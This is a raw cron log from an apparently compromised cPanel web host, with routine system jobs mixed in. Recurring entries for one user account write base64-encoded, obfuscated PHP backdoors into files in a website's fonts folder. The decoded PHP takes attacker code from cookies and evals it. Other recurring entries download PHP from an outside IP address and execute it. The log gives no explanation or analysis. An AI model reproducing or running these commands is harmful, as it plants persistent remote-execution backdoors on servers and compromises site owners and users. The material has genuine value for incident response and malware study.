Aug 30 14:19:01 ip-184-168-122-23 CROND[27017]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 14:19:01 ip-184-168-122-23 CROND[27018]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 14:20:01 ip-184-168-122-23 CROND[27100]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Aug 30 14:20:01 ip-184-168-122-23 CROND[27106]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 14:20:01 ip-184-168-122-23 CROND[27107]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Aug 30 14:20:01 ip-184-168-122-23 CROND[27111]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 14:20:01 ip-184-168-122-23 CROND[27112]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Aug 30 14:20:01 ip-184-168-122-23 CROND[27113]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Aug 30 14:20:01 ip-184-168-122-23 CROND[27115]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 14:20:01 ip-184-168-122-23 CROND[27116]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 14:20:01 ip-184-168-122-23 CROND[27114]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 30 14:21:01 ip-184-168-122-23 CROND[27210]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 14:21:01 ip-184-168-122-23 CROND[27212]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 14:21:01 ip-184-168-122-23 CROND[27214]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 14:21:01 ip-184-168-122-23 CROND[27213]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 14:22:01 ip-184-168-122-23 CROND[27293]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 14:22:01 ip-184-168-122-23 CROND[27295]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 14:22:01 ip-184-168-122-23 CROND[27297]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 14:22:01 ip-184-168-122-23 CROND[27296]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 30 14:22:01 ip-184-168-122-23 CROND[27298]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 14:23:01 ip-184-168-122-23 CROND[27415]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 14:23:01 ip-184-168-122-23 CROND[27416]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 14:23:01 ip-184-168-122-23 CROND[27417]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 14:23:01 ip-184-168-122-23 CROND[27419]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 14:24:02 ip-184-168-122-23 CROND[27580]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 14:24:02 ip-184-168-122-23 CROND[27579]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 14:24:02 ip-184-168-122-23 CROND[27581]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 30 14:24:02 ip-184-168-122-23 CROND[27583]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 14:24:02 ip-184-168-122-23 CROND[27582]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 14:25:02 ip-184-168-122-23 CROND[27673]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 14:25:02 ip-184-168-122-23 CROND[27674]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 14:25:02 ip-184-168-122-23 CROND[27676]: (root) CMD (/usr/local/cpanel/bin/mysqluserstore >/dev/null 2>&1)
Aug 30 14:25:02 ip-184-168-122-23 CROND[27677]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 14:25:02 ip-184-168-122-23 CROND[27675]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Aug 30 14:25:02 ip-184-168-122-23 CROND[27683]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Aug 30 14:25:02 ip-184-168-122-23 CROND[27684]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 14:26:02 ip-184-168-122-23 CROND[27795]: (root) CMD (/usr/local/installatron/lib/cron.updater.sh)
Aug 30 14:26:02 ip-184-168-122-23 CROND[27801]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 14:26:02 ip-184-168-122-23 CROND[27802]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 30 14:26:02 ip-184-168-122-23 CROND[27800]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 14:26:02 ip-184-168-122-23 CROND[27804]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 14:26:02 ip-184-168-122-23 CROND[27803]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 14:27:01 ip-184-168-122-23 crond[671]: (aromaskitchen) ORPHAN (no passwd entry)
Aug 30 14:27:01 ip-184-168-122-23 crond[671]: (jonessimon) ORPHAN (no passwd entry)
Aug 30 14:27:01 ip-184-168-122-23 CROND[28015]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 14:27:01 ip-184-168-122-23 CROND[28017]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 14:27:01 ip-184-168-122-23 CROND[28019]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 14:27:01 ip-184-168-122-23 CROND[28018]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 14:28:02 ip-184-168-122-23 CROND[28118]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 30 14:28:02 ip-184-168-122-23 CROND[28120]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 14:28:02 ip-184-168-122-23 CROND[28122]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 14:28:02 ip-184-168-122-23 CROND[28126]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 14:28:02 ip-184-168-122-23 CROND[28125]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 14:29:01 ip-184-168-122-23 CROND[28213]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 14:29:01 ip-184-168-122-23 CROND[28215]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 14:29:01 ip-184-168-122-23 CROND[28214]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 14:29:01 ip-184-168-122-23 CROND[28218]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 14:30:01 ip-184-168-122-23 CROND[28332]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Aug 30 14:30:01 ip-184-168-122-23 CROND[28335]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 14:30:01 ip-184-168-122-23 CROND[28337]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Aug 30 14:30:01 ip-184-168-122-23 CROND[28339]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 14:30:01 ip-184-168-122-23 CROND[28342]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 30 14:30:01 ip-184-168-122-23 CROND[28340]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 14:30:01 ip-184-168-122-23 CROND[28346]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Aug 30 14:30:01 ip-184-168-122-23 CROND[28347]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
